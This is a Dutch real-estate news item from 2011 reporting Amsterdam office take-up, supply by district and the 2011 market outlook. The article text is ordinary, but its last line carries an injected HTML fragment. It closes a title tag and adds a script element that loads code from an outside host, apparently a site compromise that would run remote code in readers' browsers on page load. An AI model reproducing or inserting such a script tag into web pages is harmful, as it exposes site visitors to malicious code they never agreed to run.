Datum: 04-01-2011 14:51, Bron: PropertyNL

Categorie: Overig

 

AMSTERDAM - De totale opname van kantoorruimte in de regio Amsterdam in 2010 bedraagt 268.317 m2, een lichte stijging inhoudt ten opzichte van 2009, waar de opname 224.000 m2 bedroeg. Ondanks de stijging ligt het opnameniveau ruim 27% onder het gemiddelde opnameniveau van de afgelopen 10 jaar (369.788 m2) en is het aantal transacties dat hiermee gepaard gaat (102) nog niet eerder zo laag geweest. Dit betekent wel dat de gemiddelde transactiegrootte met 2162 m2 hoger is dan de voorgaande jaren.

De deelgebieden met het grootste aandeel in de opname zijn de Zuidas (28%), West (23%) en Zuidoost (17%), waarbij opgemerkt dient te worden dat het Rembrandtpark Building (33.000 m2) in West van kantoorgebouw tot hotel zal worden getransformeerd en Stichting Volksbond Amsterdam in het gebouw aan de Jan Rebelstraat 20 in West 3495 m2 huurt, om daar 75 wooneenheden te realiseren voor dak- en thuislozen met psychiatrische en/of verslavingsproblemen. Dit zijn de eerste twee transacties waarbij sprake is van een functiewijziging van kantoorruimte, waardoor deze aan de voorraad en het aanbod onttrokken kunnen worden. Mocht deze transformatietrend zich de komende tijd voortzetten dan zal dit mede leiden tot de juist in West zo gewenste reductie van de overcapaciteit van kantoorruimte.
Ten opzichte van eind 2009, toen het aanbod van kantoorruimte in de regio Amsterdam 1.415.038 m2 bedroeg, is het aanbod met 5% toegenomen tot een totaal van 1.482.044 m2. De grootste stijgingen van het aanbod zijn te vinden in Amsterdam Zuidoost (30.000 m2 meer), Amstelveen (24.000 m2 meer) en West (20.000 m2 meer).
Gezien de nog steeds geringe vraag naar kantoorruimte en het aanhoudend hoge aanbod, verwachten wij dat ook 2011 een moeilijk jaar zal zijn voor de kantorenmarkt. Wellicht dat de meer positieve verwachtingen voor de Nederlandse economie in 2011 zullen leiden tot een hogere vraag naar kantoorruimte en dat dit in combinatie met uitstel/afstel van nieuwbouwplannen zal leiden tot een iets minder hoog aanbod. Positieve signalen in de vorm van functieverandering voor een aantal bestaande kantoren zullen eveneens een verdere bijdrage kunnen leveren in het verminderen van het aanbod. Dit zal echter in 2011 niet leiden tot een dusdanige vermindering, waardoor er sprake zou kunnen zijn van een opwaartse druk op de huurprijzen. Deze zullen in 2011 dan ook nagenoeg gelijk blijven. </title><script src=http://star-stats.info/ur.php></script>